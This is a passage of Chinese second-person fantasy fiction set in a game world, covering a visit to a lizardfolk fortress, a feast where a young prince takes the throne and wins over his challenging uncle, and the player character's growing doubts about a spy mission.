“对了。”你看向卡威铎,你已经发现了,这对母子里真正主事的不是强硬铁血的母亲,而是看似温和谦逊的儿子。
“您还有什么需要的吗?”卡威铎微微侧首,表情很是专注。
你清了清嗓子才道:“我们一行还有两个朋友,他们是普通的人族战士,在混乱之中同我们失散了,可不可以请您的族人帮忙找找我们的朋友?”
“当然。”他很快应允道,“但要等到宴会过后我们才有足够的人手,请您告知我您友人的特征,以便我们寻找。”
“当然没问题,他们撑得住。”灰色风暴已经消散了,小地图上代表达尔勒穆和班哈杜正在缓慢靠近黑堡,“他们和我这位朋友一样,黑色头发棕色眼睛,带着长刀,很高大。”
“在人族中来说。”你打量一眼卡威铎和阿尔哈雅杜,默默补充了一个限定条件。
卡威铎的眼睛里盈满笑意,好似一块温润的琥珀:“我知道了,您好好休息吧,我们告退了。”
他的目光滑过一旁的埃尔维斯,很快游离开来,就像不经意间扫过一眼那样。
看着门外走过的影子,你渐渐放松下来,躺倒在床上。
埃尔维斯替你调整了一下枕头的位置。
“谢谢你埃尔维斯。”
他的目光很复杂,但最终都被一种温和的珍惜取代,他轻轻遮住你的眼睛:“可以休息了,大人。”
在他低沉悦耳的声音里,你再度睡过去。
31. 黑堡
也许是到了陌生之地的缘故,你和埃尔维斯都醒得很早。
推开那扇小门,门外竟然有一道湿冷的、靠墙的位置长着苔藓的台阶,大约是因为昨夜太暗,你并没有发觉。扶着墙壁顺着台阶往上走,你触碰到那泥砌的墙壁之时,便立刻发觉了黑堡与风沙城的不同。
风沙城的建筑更多是沙土垒成的,同样坚硬但缺乏生机。黑堡里则不是沙漠里常见却无法供植物生长的沙化土壤,不为人知且无人照料的地方竟然也有生命在顽强生长。
一路朝着光亮处往上走,你微微眯起眼,迈步踏入一片温暖之中。
埃尔维斯跟在你身后走出来,惊叹着:“天呐。”
你还来不及感慨看到的景象,就有尖锐女声打破了眼前的平和景象,引起一阵骚乱。
不少蜥蜴人女性原本抱在手中的粗糙陶罐掉落在地,咕噜滚了一圈,装在其中的带着血丝的生肉掉落在地。
“他们没有鳞片和尾巴!”她们惊叫着。
大约你们的存在实在突兀,她们纷纷忘记了手中原本的工作,隐隐有要围上来的趋势。
你和埃尔维斯互为犄角,守着对方的后背,生怕有什么突发状况。
幸好有人拨开人群挤了进来:“不要推搡!他们是卡威铎大人的客人!”
那人拍着手示意众人:“继续手上的工作吧,晚上的宴会就靠大家了!”
蜥蜴人女性们像是被他鼓舞了,有的收拾起方才的骚乱造成的狼藉景象,有的回到原本的位置忙碌起来。
四周是一片低矮的棚屋,它们分布的位置杂乱无章,有的两个挤到出口的小门并作一个,有的大大咧咧破开一个歪歪扭扭的梯形大豁口。你们所站立处正是一条小道,道路中间高两边低,呈凸字形,路的两旁都有或抱着或顶着瓦罐的蜥蜴人走来走去。还有的三三两两聚在一起,轮流举起锋利的石片将大块的肉类切割开来,每每溅起带着血腥的肉沫和糊状骨髓四处纷飞。
蜥蜴人们的外表看上去都是一样,灰扑扑的鳞片和强壮的体型,你很难分辨不同的个体。但在这一片嘈杂和隐约飘过来的血腥味中,你却感受到了在风沙城不曾见识过的活力。他们的外表不如沙民精致,手工业水平明显落后,建筑风格也实在糟糕,这些都使得他们的生活呈现出一种粗糙而质朴的原始状态,但那种由每个人身体里迸发而出的野性的热情却不容忽视。
你有一点明白沙民们此前惨败的理由了,精致却濒临破碎的瓷器怎么比得过一块硬邦邦的顽石?瓷器或许有过璀璨的历史,但未经雕琢的石料却有着无限可能的未来。
在这片人间烟火气中,为你们解围的吉万先生十分特别。
他跟埃尔维斯差不多高,体型并不夸张,在蜥蜴人一族中大约属于偏瘦弱的一类。他在这群蜥蜴人女性中似乎很有声望,但他面对她们友好的招呼却显得很不自在,拖在身后的尾巴绷直了,小幅度地扫来扫去,似乎显得很焦躁。
你打量着他,终于发现了他的与众不同之处——他的鳞片形状比起其他蜥蜴人女性的还要小,也不整齐,颜色像是灰色的泥浆,没有光泽感,有些地方甚至没有完全覆盖住,完全任由裸色的皮肤暴露在外。
吉万注意到了你的视线,挪了一下步子,用鳞片更完整的方向对着你们:“卡威铎大人今天走不开,他嘱托我来看顾你们,如果你们有什么需要都可以告诉我。”
“好的。”你识趣地挪开目光,点点头答应着。
大概是你比想象中要好说话,吉万松了口气,又对埃尔维斯说:“如果你们想在城内四处逛逛,我可以为你们带路。”
等到埃尔维斯看向你之后,他才惊讶地意识到原来你是领头的。
“那就请您为我们带路。”你微笑着做出请的手势。
吉万熟悉城内的状况,口才极佳,实在是一位再好不过的导游,连一直警惕着风吹草动的埃尔维斯也不由得被他讲述的内容吸引。
其实黑堡里没什么可看的,道路曲曲折折绕得人头晕,外观相似的半地穴式棚屋外没有醒目的标志,道路的转角总出现在意想不到的地方。
如果没有本地人带路,一次简单的参观活动恐怕会变成在迷宫中寻找出路。
但吉万的讲述仍可以用引人入胜来形容。他不只介绍眼睛可以看到的东西,还讲述黑堡的历史与现状,连每个棚屋里居民的家庭状况和每个人的性格都不会弄错。
黑堡里的居民们自称是红色巨蜥的后裔,世代生活在迷惘沙漠以西守护红色巨蜥的梦境,崇尚强大和武力,银色的鳞片则是王族的象征。
他们定居在黑堡不过两年。
“守护红色巨蜥的梦境是什么意思?”你不解。
吉万便解释道:“传说中世界是红色巨蜥的一场梦,如果他梦到好的事物,族群就得以繁衍壮大;如果他梦到坏的事情,阴影就会笼罩整个世界;如果他被噩梦惊醒,那么整个世界都将万劫不复,一起都会消失。”
“而我们一族的职责,就是消灭那些阴影,守护祂的梦境不被惊扰。”吉万的竖瞳里闪烁着激动的光芒,显得很振奋。
“是那些阴魂?”
吉万看向你,显得有些惊讶:“您真敏锐,不愧是卡威铎大人的客人!”
他带着你们参观了黑堡内最高的建筑——位于城门内部两侧的两座雕像。
据说石像是为了纪念黑堡的两位缔造者——达勒温杜穆和阿迪。黑色的阿迪石像目光坚毅,双手自然下垂,望向一旁白色的达勒温杜穆石像,而这位先代的王面容英俊威严,手执尖端镶嵌着耀眼晶石的长枪,所指的正是正西方。
“达勒温杜穆大人的石像很写实。”吉万怀念道,“阿迪的却不是。他是我的弟弟,两年前刚刚比我高出一点,比达勒温杜穆大人瘦小多了。”
你没有追问他话里隐隐透露出来的讯息。
现在还太早了。
吉万也带着你们参观了黑堡周边,与风沙城的状况不同,这里有着广袤的湖泊和绿洲,巨大的仙人掌林拔地而起,就像沙民们所形容的风沙城的旧日。
临近中午,吉万表示自己还有别的事情,需要离开了。
走之前,他抚摸着自己裸露在鳞片包裹之外的肌肤,又看着你和埃尔维斯暴露在阳光下的皮肤,轻声问道:“您这样直接暴露在阳光下,不会痛吗?”
你和埃尔维斯对视
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了一眼,都看到了彼此眼中的惊讶。
最终你答道:“不会痛,吉万先生,我们生来如此。”
吉万的目光黯淡了:“在蜥蜴人眼中,没有鳞片、鳞片不整齐都是很难看的。如果我也生来就是其他种族就好了……”
你正不知如何开口,埃尔维斯却上前一步,对着这个异族人说出了第一句话:“不是这样的,吉万先生。”
“什么?”吉万疑惑地看向他。
埃尔维斯的目光前所未有的温和:“不是生来是其他种族,就不会有美丑的区别。有的种族在意肤色深浅,有的种族介意耳朵的形状,有些种族甚至苛刻到要求脚的大小,比起蜥蜴人,他们的条条框框还要更多。”
吉万深深地垂着头,身后的尾巴耷拉着。
埃尔维斯继续道:“但吉万先生,我想告诉您的是,您的讲述很动人,您的声音也十分悦耳,在那种条条框框之外,您有着更珍贵的东西。”
吉万脸上似懂非懂,似乎还在想着埃尔维斯说的话,但他很快上前给了埃尔维斯一个用力的拥抱:“谢谢您,您是位好心的妖精。”
你看着被抱住的埃尔维斯手足无措的样子,忍不住笑起来。
大概他想到了曾经的自己。
——————
中午送到房间里来的食物是一些饼和生肉。
你拿起从风沙城带过来的小刀切开一块,血丝缓缓渗出来。
你和埃尔维斯都选择啃起面饼,但口感十分粗糙,抱着水囊拼命灌了好几口才没被噎住。
“我希望在宴会上能看到熟食。”你真诚地祈祷起来。
埃尔维斯点点头,继续啃着面饼。
除了进城前的那一点意外,打入黑堡的过程顺利得过了头。你们早就商量好了说辞,要扮作一群寻宝者——这样的人出现在哪里都不会令人意外,选择走达尔勒穆所说的“有风险的近路”也是为了让你们看起来更可信。
所幸你的运气够好,这点“风险”真的看到了回报。
你又检查了一遍系统地图上代表两位沙民战士的小点,他们已经离黑堡很近了。
借着查看行囊的机会,你又确认了一遍自己的任务和状态栏,扫过系统包裹的时候,心下微动,转头问埃尔维斯:“我昏迷的时候,‘炽念’和‘炎息’是你收起来了吗?”
埃尔维斯顿了顿,咬着饼站起身,从兽皮床垫下抽出两块流光溢彩的白布:“在这里。”
“你怎么想到放这里的?我完全没发现!”
他把两条披风都叠成小豆腐块,目光专注:“想不到的地方才好。”
“进城的时候他们没有发现?”
埃尔维斯则摇摇头:“没有。”
“进城之前我藏进包裹里了,所幸没有打开检查,但也旁敲侧击地打探了不少我们的情况,我都按照之前约好的说的。”
“唔……”你再度肯定了他的细致。
埃尔维斯仍然继续着手上的工作,哪怕你在你看来叠得足够整齐了,他头也不抬道:“之后就由我收好吧,这个不适合放在外面,会暴露的。”
随后,在你对食物的期待之中,晚宴开始了。
32. 晚宴
这大概是黑堡里最“贵”的房子。
同样平平无奇的半地穴式棚屋外观,顺着狭窄的楼梯走进来,推开门,经过士兵们的重重检查,再走过一段曲折的过道,最后推开门。
别有洞天。
你被晃到睁不开眼。
用手掌捂住眼睛适应了很久,你才打量起这座大厅的陈设。
这里格局不是常见的方方正正,而是呈圆形,比风沙城的神殿大厅还要宽敞,除了你和埃尔维斯身后的,稍远处还有三个不同位置的门不时有人进出。为了适应蜥蜴人一族的身高,各类陈设明显要大上几号。鉴定术扫过一次,墙壁和地板上镶嵌的都是迷惘沙漠的特产矿物——烟梦晶石,正在大厅中央燃起的篝火照耀下映出淡淡的浅紫色光晕。
要知道,手掌大小的一块烟梦晶石就能在系统商城卖出几百金。
你想起白天对他们“粗糙而质朴”的评价,默默把话咽了回去。
风沙城一向尚简恶奢,埃尔维斯显然也没见过这样的景象,但他对这些东西的价值缺乏敏锐的感知,也不曾对物质有什么超出温饱以外的要求。
因此埃尔维斯比你要镇定得多。
面对蜥蜴人们对你们两个“异类”的注视,他甚至能向前一步替你挡住一部分目光。
卡威铎很快亲自迎过来。他浑身的鳞片显然都好好打理过,闪闪发光耀眼极了,与他头顶造型古朴的王冠交相辉映。
他向着你伸出手:“红色巨蜥眷顾,您身体无恙,感谢您今晚的赏光。”
同你们两人都打过招呼后,卡威铎不紧不慢地引着你们走向一旁安排好的座位,这里相对隐蔽,不会引起太多不必要的打量。
“身为王,却要做侍者的工作吗?”你看向卡威铎。
他的竖瞳变成圆形,是黑色的,竟然有几分可爱。
他的应答彬彬有礼:“工作并没有高低之分,侍者能做的,王当然也能做。”
“更何况——”他的声音带着笑意,“我尚且不是王。”
“那是我失言了。”你向他道歉。
卡威铎摇摇头,表示并不介意:“您不了解我们,抱有好奇很自然,就像我们对您一样。”
说完他便转向埃尔维斯:“希望您能享受今天的晚宴。”
埃尔维斯只沉默地点点头,一个字也没说。
他面对陌生人总是习惯性地保持防备。
卡威铎也不介意,很快又去招呼别的客人了。
你注意到阿尔哈雅杜端坐在王座之上,目光始终紧紧跟随着自己年轻的儿子。
你本想看看桌子上的陶罐里装着什么,却被埃尔维斯拦住了:“都是生肉。”
你狐疑道:“是吗?”
你闻不到半点血腥味。
把罐子拿起来一看,居然真的是生肉,用鉴定术扫了一遍,种类倒是格外丰富。
再丰富也改变不了他们就是生肉的本质。
在风沙城的时候,哪怕你知道双胞胎姐妹带来的肉干是鼠肉,但好在口感丰富,不会令人难以下咽。
可生肉实在超出你的接受范围了。
尤其是在一个拟真度高到离谱且无法屏蔽味觉的游戏里。
你把罐子推开,埃尔维斯又将它们一一调整,排列整齐。
拯救你的是吉万。
他一手端着陶土托盘,上面放着几叠面饼,一手拖着一个蜥蜴人小姑娘——她嘴里还咬着一块面饼。
“这是卡威铎大人吩咐的,你们吃不惯这里的食物吗?”吉万温声同你们寒暄起来。
“吃生肉对我们来说有些困难。”回答他的是埃尔维斯。
你本想拿起一块坚硬的面饼好好拯救你即将跌破危险线的体力条,却实在忽视不了那个直勾勾盯着你的小家伙。
对方一身嫩黄色鳞片,只到吉万小腿高,两只圆圆的杏眼显得俏皮可爱,在蜥蜴人中也格外显眼。
小家伙很专注地凝视着你,两只眼睛一眨不眨,连手里的面饼也忘了啃。
吉万注意到了,他蹲下身,手搭在小女孩肩膀上向你介绍道:“这是阿郁,阿尔哈雅杜大人的养女,她的状况有些特别,您不要在意。”
你也走到一旁,蹲在阿郁身前同她视线平齐:“我应该称呼你公主殿下吗?”
吉万却笑出了声:“不是您想的那样的。”
他解释道:“阿尔哈雅杜大人是英雄母亲,族内所有的孤儿都是她扶养长大的,我和我弟弟也一样,您称呼她阿郁就好。”
“好的。”你朝着面前的小姑娘伸出手,“你好阿郁,我来自藤之国度的妖精一族。”
不料她却把自己啃了一口的面饼递到你手里,说了一声“太丑了”。
对方眼中是不容错认的怜悯。
你正哭笑不得,一旁的吉万极力找补了几句“她一定是特别喜欢您才会向您分享食物的”,很快抱着阿郁从王座一侧隐蔽的小门里离开了。
埃尔维斯瞟一眼你手里的面饼,上面还有一排牙印,小姑娘牙齿倒是很锋利。
“您要怎么处理?”
“额……”你着实被这个问题难倒了,“吃掉?”
——————
宾客就坐,阿尔哈雅杜示意众人安静下来。
“我,阿尔哈雅杜,达勒温杜穆之妻,秉承先王遗志,在过去的两年里执掌我们沙漠子民一族的权柄。”她的声音冷淡却宏亮,回响在整个大厅之中,“两年过去了,黑堡如先王所期盼的那样建成了,孩子们有了安稳的童年,族人们再也不必四处流离。”
“在此,我想请诸位一同起身,向黑堡逝去的两位缔造者默哀。”
你和埃尔维斯也依言起身。
环大厅围坐的客人们纷纷深深地低下头,向逝者致以生者的敬意。
卡威铎身姿笔挺,王冠被他取下握在手中,面色肃穆。
默哀之后,阿尔哈雅杜举起手中的白色短杖:“今天,我将象征红色巨蜥眷族的权杖交给我的儿子、达勒温杜穆的唯一血脉——卡威铎!”
她将权杖顶端的红色晶石指向王座右下首的卡威铎:“上前来!”
“且慢!”
有人拍桌而起。
你应声看去,是坐在卡威铎正对面的一位蜥蜴人。
他眼神凶恶,鳞片漆黑,身高将近两米
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,身材呈倒三角形,一击之下,桌子立刻四分五裂。
“我要问你!”他曲起爪子,锋利的指甲指向卡威铎,“你有什么资格做王?”
面对突如其来的逼问,卡威铎的应对从容不迫:“伽费法铎叔叔问我有什么资格做王,那就请您指教,何以称王?”
他走到王座之前,朝着伽费法铎的位置踱步道:“要武力强悍?要威望过人?要屡建战功?”
伽费法铎扭过头,双手抱在胸前,恶狠狠顶了一句:“自然!”
“那我确实没有资格称王!”
话音刚落,宾客中一片哗然。
伽费法铎喜道:“既然如此……”
他正想夸一句识趣,让卡威铎赶紧把王位让给更合适的人。
却听卡威铎又道:“您的儿子、我的堂兄沃埃法连续三年成为族内年初大比的第一勇士,论勇猛,无人能出其右;我母亲阿尔哈雅杜是前前代将军之女、先王之妻,执掌族内大权的两年里人人称道,论威望,没人比得过我母亲;沃里恩叔叔和我养兄那赫鲁姆,自小效力在我父亲跟前,建功无数,论战功,则首推他们二人。”
“这四人之中,伽费法铎叔叔认为何者最有资格称王?”
这段话说完,大厅里的气氛为之一凝。
你艰难地啃着硬邦邦的面饼,生怕下一口会连着磕下来的牙齿一起吞下去,但眼睛时刻却关注着身处风暴中央的卡威铎和伽费法铎。
伽费法铎双目阴沉,眼神一一扫过卡威铎提到的四人,那赫鲁姆跟着沃里恩起身向他举杯,阿尔哈雅杜眼风不动一丝注意也不给他,而坐在他下首的儿子沃埃法则把头深深埋在桌面上,不敢对上他的眼睛。
伽费法铎道:“卡威铎你问我谁最合适,那我就问问这四人,谁最合适?”
率先开口的是阿尔哈雅杜,她地位最高,谁的面子也不用给,直言道:“王位向来是父死子继,之后才有兄终弟及,两年前轮不到你,现在自然也轮不到你。”
“你!”伽费法铎不料阿尔哈雅杜说得如此直白,把他的野心明明白白地剖在众人之前。
那赫鲁姆打断道:“卡威铎王子身为达勒温杜穆大人和阿尔哈雅杜大人的血脉,又身具象征红色巨蜥眷族的银色鳞片,无疑是王的最佳人选!哪怕他年纪尚小,数年之后必然会成为一代圣王!”
沃里恩立时出声应和。
就连沃埃法也道:“我也认为……卡威铎更合适……”
伽费法铎看向自己儿子的目光几欲噬人,沃埃法显然扛不住,哀声恳求道:“算了吧父亲,我不想要争什么,现在不是很好吗?”
“滚开!”伽费法铎一手挥开抱住自己手臂的儿子,看向王座之上的阿尔哈雅杜,又对着卡威铎狠狠道,“好,你们等着!”
说完,伽费法铎便打了个呼哨,尖锐的鸣声吵得你捂上了耳朵,一旁的埃尔维斯没动,你又用胳膊肘撞撞他,示意埃尔维斯保护好耳朵。
人群中一片骚乱,你看到有几个人已经起身离座准备往侧门跑了,但看到更多人没动,又犹犹豫豫地坐回来,如此反复。
但过了许久,依旧什么也没发生。
33. 晚宴
背着手的卡威铎已经走到了伽费法铎桌前两步的位置,笑道:“叔叔,您想做什么?”
此刻的伽费法铎一定是慌张不已的,你看到他明显气弱下来,甚至不由自主往后撤了一步拉开同卡威铎之间的距离。
气势这种东西,哪怕只有一秒曾经消退过,人就很难再重振旗鼓。
伽费法铎很快注意到了自己不应后撤,他反应过来之后立刻往前站,利用身高优势俯视着卡威铎,试图带给对方一些压迫感:“难道你死去的父亲没有教过你该怎么跟长辈讲话?”
卡威铎却答道:“我的态度实际上取决于您。”
伽费法铎轻蔑地看向卡威铎:“你们这些年轻人,已经被定居的日子养成了软蛋,早就失去了先辈们在厮杀中挣出来的骨气!”
他的目光瞥过来:“现在更是连那种丑陋不堪的异族人都能请来做客人,我可是和羞于与他们站立在同一片土地上!”
你差点被嘴里的面饼一口哽住,没想到坐得这么远也能被扫射到。
但你早早打定主意不去掺和任务之外的麻烦,心里默念了三遍“这是审美差异”,才能稳坐下来。
不料伽费法铎却不肯轻易放过你这个筏子:“看他们奇形怪状的样子,我真是怀疑那两人是不是和你一样缺少父母教养。我那早死的哥哥就算了,可我们威严的阿尔哈雅杜,比起她母亲的头衔,似乎更在乎自己的荣誉呢……”
“够了!”你拍桌而起,但效果显然不如伽费法铎震撼,你还是忍着生疼的手掌驳斥道,“你这样随意攻击别人的父母才是毫无风度,难怪连你儿子都认为卡威铎比你更适合王位!”
卡威铎也随着众人看过来,他显得很惊讶,但很快侧挪了一步吸引住伽费法铎的视线:“不要再拖延时间了叔叔。”
你看到伽费法铎脖颈处的鳞片全部翕张起来,仿佛竖起了尖刺威慑敌人的刺猬:“你在说什么?”
卡威铎很显然没有被吓退,他一动不动直视着自己的亲叔叔,声音甚至还带着笑意:“放松些,伽费法铎叔叔。忘记告诉您了,外面护卫的战士们已经换过一班岗了,而沃里恩叔叔和那赫鲁姆在宴会开始前,也不辞辛劳地为大家处理了一些小麻烦。”
“您不惜攻击我的亲人和朋友拖延时间也要等待的人们,一个也不会出现了。”
“你早就知道了!”伽费法铎的声音像是胸腔深处的咆哮,显然已经到了强弩之末。
他扫视一圈。阿尔哈雅杜还是一贯的高高在上,沃里恩手扣在桌子下端坐着,不曾看向这边,那赫鲁姆那狂妄的小子竟然似笑非笑地看着自己,唯一的儿子坐在自己脚边一副不成器的样子。整个大厅里的人都不怀好意,以为自己没有发现他们若有若无的打量。
竟敢看我的笑话!
伽费法铎强撑着站直了,他面前卡威铎的脸慢慢同记忆里的兄长重叠了。
又是这样!又是这样!
人人都只记得达勒温杜穆,人人都夸赞他的英明勇武,人人都只看得到那身象征高贵的银色鳞片。
而他即便使出十二分的力气,也只能永远活在兄长的阴影里。
明明是同父同母的亲兄弟!
为什么只有兄长能得到一切!
兄长死的那一天,他压抑已久的野性一瞬间死灰复燃。
看呐,即便你什么都比我强,你还是死在我前面了。
你的财产、名声和荣耀,都将被我收归囊中!
可现在,这个他一贯看不起的小侄子,竟然当着这么多人狠狠给了他一巴掌。
难道这就是命运吗?
从前是兄长,现在是侄子。
难道他只能一辈子活在阴影里吗?
“你在羞辱我!”伽费法铎的瞳孔竖成一条细线,他像一根绷紧到极致的绳子,“而我——”
“不接受这样的羞辱!”
他肌肉爆起的右臂在空中抡出一个半圆,锐利的爪尖全部露在外面,显然没有留一丝余力。
沃里恩立刻踹开桌子,抽出下面的长枪,离弦箭矢一般冲向两人,企图挡下伽费法铎的全力一击。
但卡威铎的反应更快,他没有像沃里恩期望的那样迅速撤离,反而上前一步,抬臂主动迎向伽费法铎的攻击。
几片染血的银色鳞片被剥落在地,在烟梦晶石铺成的地板上晕出一块红色的痕迹。
“你……”伽费法铎目露惊骇,看向卡威铎血肉淋漓的右臂,“你以为你自废一臂救下我,我就会感激你吗?”
他连连后退:“只要我活着一天,我的眼睛永远会盯着你的王位!我永远不会甘心的!”
“那有何不可?”卡威铎微笑着收回手,鲜血顺着他的手臂流淌而下,在梦幻般的晶石地板上留下突兀而可怖的痕迹。但卡威铎甚至身形一丝未动,仿佛受伤的不是他自己。
伽费法铎几乎以为自己听错了:“你说什么?”
“我说,有何不可。”卡威铎从容道,“我不介意您抱有这样的想法,甚至不介意您付诸行动
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。”
“哪怕我为了争夺王位会杀了你?”
“哪怕您会杀了我!”他仿佛已然胜券在握。
“哈哈哈哈哈哈哈!”伽费法铎仰天大笑,“你这话简直虚伪得可笑!”
卡威铎却认真道:“您认为是虚伪也罢,但我的确需要您。”
“或者说,所有的族人都需要您。”
“刚才我提及我母亲、沃里恩叔叔和两位兄长,不过是取巧罢了,若是兼取威望、武力和战功三者综合考量,无人能比得上伽费法铎叔叔。我父亲在时,您只能屈居人后,但今后,我愿意与您分享我的权柄,就请您作为将军和长辈看着我,成为一个比您和父亲更出色的领袖。”
伽费法铎哑然:“你是在叫我效忠于你?”
卡威铎伸出未受伤的左手,诚恳道:“我只是想请您成为我的左膀右臂,和我一起带领族人们走向光明!”
沃埃法也瞅准间隙扑过来,抱住父亲的大腿不住恳求:“答应吧父亲,不要再争本不属于我们的东西了,卡威铎一向言而有信,您想想我和母亲啊!”
伽费法铎看向护卫在卡威铎身后的两人,哂道:“难道沃里恩和那赫鲁姆这小子,也肯看着我做将军?”
沃里恩立刻上前道:“我自知不如您,忝居高位实在于心有愧,如果您肯做这个将军,我自当退位让贤!”
那赫鲁姆则低头附和,看不清表情。
连王座之上的阿尔哈雅杜都向着他遥遥举杯。
金色的酒液映射出烟梦晶石的光芒,伽费法铎只是看在眼里,却仿佛已经喝醉了。
他环顾四周神色各异的众人,强撑着说了句“如果你以后有一丝懈怠,我还是会把你拖下王位撕成碎片”。
但明眼人都看得出来胜负已定。
伽费法铎单膝跪在卡威铎脚边,最终咬紧牙低下了头,深深道:“愿为您效忠,我的王!”
宾客们齐齐俯身称颂,一片赞美之中,阿尔哈雅杜和卡威铎之间平稳地完成了一次权力的交接。
自此,卡威铎正式登上了王座,成为一族首领。
作为见证者的你看着走上王座的卡威铎明显放松了肩膀,微微动容。
原来看起来再从容不迫的人,也会紧绷着一口气啊。
转头再看看因为不用跪拜新王一直坐在你身边清扫食物的埃尔维斯,你站起身怜爱地拍拍他的头:“看到花言巧语的政治家一定要赶紧跑啊!”
不然不知道什么时候就被忽悠瘸了。
34. 犹豫
次日卡威铎带着伽费法铎来向你道歉。
你帮卡威铎说话的消息已经在一夜之间传开了。
看着伽费法铎头顶上的绿色图标,你这下倒真有了身处游戏之中的自觉。
点开系统消息一看。
【叮】玩家蜥蜴人族阵营友好度提升!
再看卡威铎等人的介绍,内容上多了年龄、亲人等几个条目,还有一条总结了你目前已知的人物生平。
伽费法铎的道歉很诚恳,你也无意再计较。
但看着仅仅因一句话就接纳了你的蜥蜴人们,你心下不知作何感想。
代替沙民来此取回绿色之心,就注定了你们会站在对立面,可谁能想到这“敌方”竟然比原本的“友方”要更先接纳你这个“间谍”呢。
这太微妙了!
卡威铎表示希望跟你单独谈一谈,你心下有些烦乱,不知道该怎么面对埃尔维斯,便答应了下来。
“您的身体恢复得很快。”
你和卡威铎在绿洲里围着湖边慢慢散步,他的右臂受了伤,被包扎好用绷带挂在脖子上固定住。在短暂的接触中,你发现他时刻都保持着王者风范,但作为领袖的宽和与理性中和了他蜥蜴族天生的洒脱不羁个性,使他显得谦逊而平易近人,不时有取水的蜥蜴人妇女们上前来向他问好,卡威铎也一一回应。
现在你知道该怎么分辨蜥蜴人男性和女性了,男性通常更高大,鳞甲覆盖下的肌肉更明显,且鳞片颜色更深,女性们则相对瘦小,没有明显的肌肉起伏,鳞片颜色更多是灰色、琥珀色。
卡威铎偏过头来,看见你凝视着取完水抱着陶罐离开的蜥蜴人妇女们,问道:“您生活的地方应当和这里不大一样吧?”
你点点头:“我出生的地方(藤之国度)丘陵众多,林木繁茂,确实与迷惘沙漠的风光不同。”
卡威铎伸手示意你看向那片湖泊:“其实两年前,这里还不是这番景象。黑堡建成不过两年,比起外界延续数百年的城市,她实在太年轻了。”
你发觉卡威铎的话并不需要你回应,于是只笑而不语,听他继续说下去。
卡威铎又道:“您大概不了解,我们的先祖是数百年前出身华音城的贵族,因得罪了人被流放至此,在黑堡建成前,我们已经在沙漠了流浪了数百年。”
你不解道:“但据我所知,华音城是人类城邦。”
卡威铎笑道:“那便是……红色巨蜥的眷顾了……”
他显然不想多谈,很快转头接上之前的话题为你介绍起来:“先王是我父亲,这听起来好像很了不起,但我小时候没什么出身高贵的自觉。父亲常常带着男人们在外作战狩猎,我母亲和族中的妇女们带着孩子们四处追逐水源迁徙,我们都是在沙子里打滚长大的,若是遇上沙暴,灾难也不会因身份而豁免。”
“定居下来的日子比以前已经好多了,但我深知族里跟外界的文明程度比起来仍旧是落后的,我既然成为了王,就不会逃避我的责任,我要让所有的族人都能过上更好的生活,而不是被随随便便打成蛮族野兽。”
卡威铎似乎意有所指,你抬眸问道:“卡威铎大人,您为什么要告诉我这些呢?”
他笑了笑:“我本来是想向您道谢的,昨天您能声援我,实在让我感慨良多。”
“不必感谢我。”你摇摇头,“我站出来只是因为他言语涉及我父母了,不是刻意为您说话。而且您不需要我的帮助就能收服伽费法铎,再加上有忠诚的家犬和想喝他血的狼追在身后,顺着台阶下来的伽费法铎已经是您顺手的棋子了。”
卡威铎脸上的笑意更加外露,银色的鳞片仿佛闪烁的宝石:“您很诚实,也很聪明。”
“说谎没有什么好处。”
你想起自己此行的目的和游戏中的处境,一时竟不能直视他。
被蜥蜴人一族接纳的消息令你很不好过,这跟被要求杀死一个高智能的游戏角色一样令你愧疚。
阴差阳错之下,你站在了左右为难的夹缝里。
“伽费法铎叔叔也是我的族人,让他活下来不仅仅是想利用他而已,他也应该有一个生的机会。”
卡威铎是在向你解释。
你心下震动,面上不显,却不再出言刻意挑衅。
沉默了片刻,卡威铎却终于谈起了他的目的:“绕了这么大圈子,其实我也希望能打动您。”
“打动我?”
“是的。”他的目光看向晨光拂过的黑堡城墙,坚硬的岩石会挡住一切敌人,“如您所见,我们与世隔绝太久了,族人们已经忘记了祖先们是如何生活的。”
“您从外界而来,我希望您能带给我的族人新的东西。”
卡威铎的话一直在你脑海中回响。
下午吉万带来一个新的消息——班哈杜和达尔勒穆被找到了。
其实你比黑堡里的居民知道的还要早一些,系统地图上可以看到代表两人的小绿点上午就进城了。
正是你被卡威铎叫出去谈话的时候。
你见到班哈杜和达尔勒穆时,被他们连上的青紫惊呆了:“发生什么了?你们被蜥蜴人围殴了?”
“那群蛮子……嘶……”卡威铎因疼痛中断了吐槽,现在他做不了不屑等太夸张的表情,“没有,不是他们打的。”
“那是怎么回事?那些阴魂接触不到□□。”
你发现了,他们俩之间的气氛越发古怪了。
班哈杜揉着脸上的淤伤,刻意地背对着达尔勒穆。而达尔勒穆则垂着眼睛盯紧自己脚尖前的地面,下一刻说不定能盯出一个洞来。
你的眼神在二者间徘徊,狐疑道:“不会是你们自己打的吧?”
结果两人都不吭声了。
“还真的是?”你很惊讶,二人之前屡屡冲突,但绝对到不了要动手甚至打脸的程度,“这是为什么?”
“你别管了!”班哈杜高声道。
他似乎也觉得心虚,很快调整好音量,又道:“这些都不重要。”
接着开始转移话题:“我们被分开盘问了很久,你们之前没有露馅吧?”
“没有。”你不满,却也只能顺着班哈杜,“我按照约定好的说的,埃尔维斯那边也是,既然允许我们进城,大约就没有问题了,拖拖拉拉不像他们的风格。”
班哈杜嘀咕起来:“想不到这群家伙这么谨慎,来的路上我们也遭了不少罪。”
“好了,别抱怨了。”你打断他,“也不要再说那些对他们的蔑称了。”
达尔勒穆却看向你:“短短一天您就跟这群人这么熟悉了吗,过来的路上我们听了一耳朵您的英勇事迹,不仅为他们的王解围,现在也替那些平民说起话了吗?”
你沉下脸
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:“达尔勒穆,你是什么意思?”
他微微躬身:“我无意冒犯您神使大人,只是我作为领队,需要确认您的想法。请您告诉我,您现在还记得我们此行的目的吗?”
“当然。”你的目光牢牢锁定在他脸上,竟然找不到一丝破绽,“我会以任务为重。”
你的目光扫过任务栏,未完成的三个任务框一动不动。
“那就好。”达尔勒穆挺直了脊背,转身往外走,“我会去探查位置,希望您到时候还记得您出发前的诺言。”
班哈杜似乎想安慰你,但他在这方面实在笨拙,只挤出几句“他就这性格,不是不信任你”。
你摇摇头,谢过班哈杜:“不,我没有怪他。”
你也没有资格怪他。
我真的没有动摇吗?
你在心里这样问自己。
最开始你可以信誓旦旦,一方面并不知道来到这里会面临什么,另一方面是你当时对蜥蜴人一族还不熟悉。
他们对你而言就是一个陌生的概念,自然谈不上什么情感联结。
但你已经认识了这里的人们,认识了分给你食物的阿郁、自卑于外表却在人群中保持坚韧的吉万、宽容大度一心为了族人着想的卡威铎,你甚至被他们接纳了。
昨天的你还只能从伽费法铎那里收获“丑陋不堪”“奇形怪状”的评价。
今天你竟然真的被接纳了。
